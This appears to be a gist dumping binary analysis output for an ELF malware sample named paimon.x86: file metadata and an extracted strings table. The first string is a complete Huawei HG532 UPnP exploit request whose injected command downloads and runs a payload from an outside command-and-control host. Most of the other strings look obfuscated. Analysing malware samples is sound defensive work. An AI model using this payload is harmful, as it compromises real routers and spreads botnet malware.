gistfile1.txt

MD5 (/Users/remco/Downloads/paimon.x86) = 5efce325c5aa2fa11553bf6a4bd94b74

arch     x86
baddr    0x8048000
binsz    37184
bintype  elf
bits     32
canary   false
sanitiz  false
class    ELF32
crypto   false
endian   little
havecode true
lang     c
linenum  false
lsyms    false
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   false
rpath    NONE
static   true
stripped true
subsys   linux
va       true
[Imports]
Num  Vaddr       Bind      Type Name
[Exports]
Num Paddr      Vaddr      Bind     Type Size Name

[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000080a0 0x080500a0 813 814 (.rodata) ascii POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\r\nContent-Length: 430\r\nConnection: keep-alive\r\nAccept: */*\r\nAuthorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"\r\n\r\n<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.methaddict.xyz -l /tmp/vxf -r /pmon; /bin/busybox chmod 777 * /tmp/vxf; /tmp/vxf huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\r\n\r\n
001 0x000083dd 0x080503dd  10  11 (.rodata) ascii AIXDMHHEOX
002 0x000083e8 0x080503e8   4   5 (.rodata) ascii TUV,
003 0x000083ed 0x080503ed   4   5 (.rodata) ascii _OMB
004 0x000083f2 0x080503f2  10  11 (.rodata) ascii AIXDMHHEOX
005 0x000083fd 0x080503fd   4   5 (.rodata) ascii TUV,
006 0x00008405 0x08050405  16  17 (.rodata) ascii NC[\fHC[B\fBEKKI^,
007 0x00008417 0x08050417   4   5 (.rodata) ascii \^CO
008 0x0000841f 0x0805041f   4   5 (.rodata) ascii ITI,
009 0x0000842d 0x0805042d   4   5 (.rodata) ascii \^CO
010 0x00008436 0x08050436   4   5 (.rodata) ascii XO\,
011 0x0000843c 0x0805043c   5   6 (.rodata) ascii AM\_,
012 0x00008443 0x08050443   4   5 (.rodata) ascii \^CO
013 0x0000844c 0x0805044c   6   7 (.rodata) ascii ^CYXI,
014 0x00008453 0x08050453   8   9 (.rodata) ascii M__[C^H,
015 0x0000845c 0x0805045c  13  14 (.rodata) ascii bEGGE[M_DI^I,
016 0x00008476 0x08050476  14  15 (.rodata) ascii DEGM^E[M_DI^I,
017 0x00008485 0x08050485   9  10 (.rodata) ascii }nCXn@MHI
018 0x0000848f 0x0805048f   6   7 (.rodata) ascii |ccgu,
019 0x000084a0 0x080504a0   4   5 (.rodata) ascii yey,
020 0x000084a5 0x080504a5  11  12 (.rodata) ascii eYuKYFIe]B,
021 0x000084b1 0x080504b1   5   6 (.rodata) ascii UMGYZ
022 0x000084b7 0x080504b7   4   5 (.rodata) ascii ZTO,
023 0x000084bc 0x080504bc   4   5 (.rodata) ascii dcdc
024 0x000084c8 0x080504c8  11  12 (.rodata) ascii gC[ME_@YA\,
025 0x000084d4 0x080504d4   6   7 (.rodata) ascii bEkkI~
026 0x000084e1 0x080504e1   7   8 (.rodata) ascii _XMXY_,
027 0x000084eb 0x080504eb  19  20 (.rodata) ascii CY^OI,iBKEBI,}YI^U,
028 0x00008504 0x08050504   6   7 (.rodata) ascii ^I_C@Z
029 0x0000850b 0x0805050b   5   6 (.rodata) ascii OCBJ,
030 0x00008511 0x08050511  11  12 (.rodata) ascii BMAI_I^ZI^,
031 0x0000851d 0x0805051d   5   6 (.rodata) ascii CKEB,
032 0x00008523 0x08050523   6   7 (.rodata) ascii IBXI^,
033 0x0000852f 0x0805052f  16  17 (.rodata) ascii NY_UNCT\f`c`bek~,
034 0x00008540 0x08050540   7   8 (.rodata) ascii `c`bek~
035 0x00008548 0x08050548  18  19 (.rodata) ascii \fM\\@IX\fBCX\fJCYBH,
036 0x0000855b 0x0805055b   9  10 (.rodata) ascii BOC^^IOX,
037 0x00008565 0x08050565   7   8 (.rodata) ascii IBMN@I,
038 0x0000856d 0x0805056d   7   8 (.rodata) ascii _U_XIA,
039 0x00008579 0x08050579  11  12 (.rodata) ascii @EBYT_DI@@,
040 0x00008585 0x08050585   6   7 (.rodata) ascii _XM^X,
041 0x0000858c 0x0805058c   4   5 (.rodata) ascii NMD,
042 0x00008591 0x08050591  14  15 (.rodata) ascii OM^\IXAYBODI^,
043 0x000085a5 0x080505a5   9  10 (.rodata) ascii [MXODHCK,
044 0x000085b4 0x080505b4   4   5 (.rodata) ascii AE_O
045 0x000085b9 0x080505b9   9  10 (.rodata) ascii [MXODHCK,
046 0x000085c8 0x080505c8   5   6 (.rodata) ascii jx{hx
047 0x000085d0 0x080505d0  10  11 (.rodata) ascii s[MXODHCK,
048 0x000085e0 0x080505e0   5   6 (.rodata) ascii jx{hx
049 0x000085e8 0x080505e8  10  11 (.rodata) ascii ,[MXODHCK,
050 0x000085f8 0x080505f8   8   9 (.rodata) ascii [MXODHCK
051 0x00008608 0x08050608   7   8 (.rodata) ascii HIJMY@X
052 0x00008610 0x08050610   9  10 (.rodata) ascii [MXODHCK,
053 0x0000861b 0x0805061b   4   5 (.rodata) ascii _NEB
054 0x00008620 0x08050620   9  10 (.rodata) ascii [MXODHCK,
055 0x0000862d 0x0805062d   7   8 (.rodata) ascii /bin/sh
056 0x0000888f 0x0805088f  10  11 (.rodata) ascii \b/dev/null
000 0x00009114 0x08051114   6   9 (.data)  utf8 箂CAk[S blocks=CJK Unified Ideographs,Basic Latin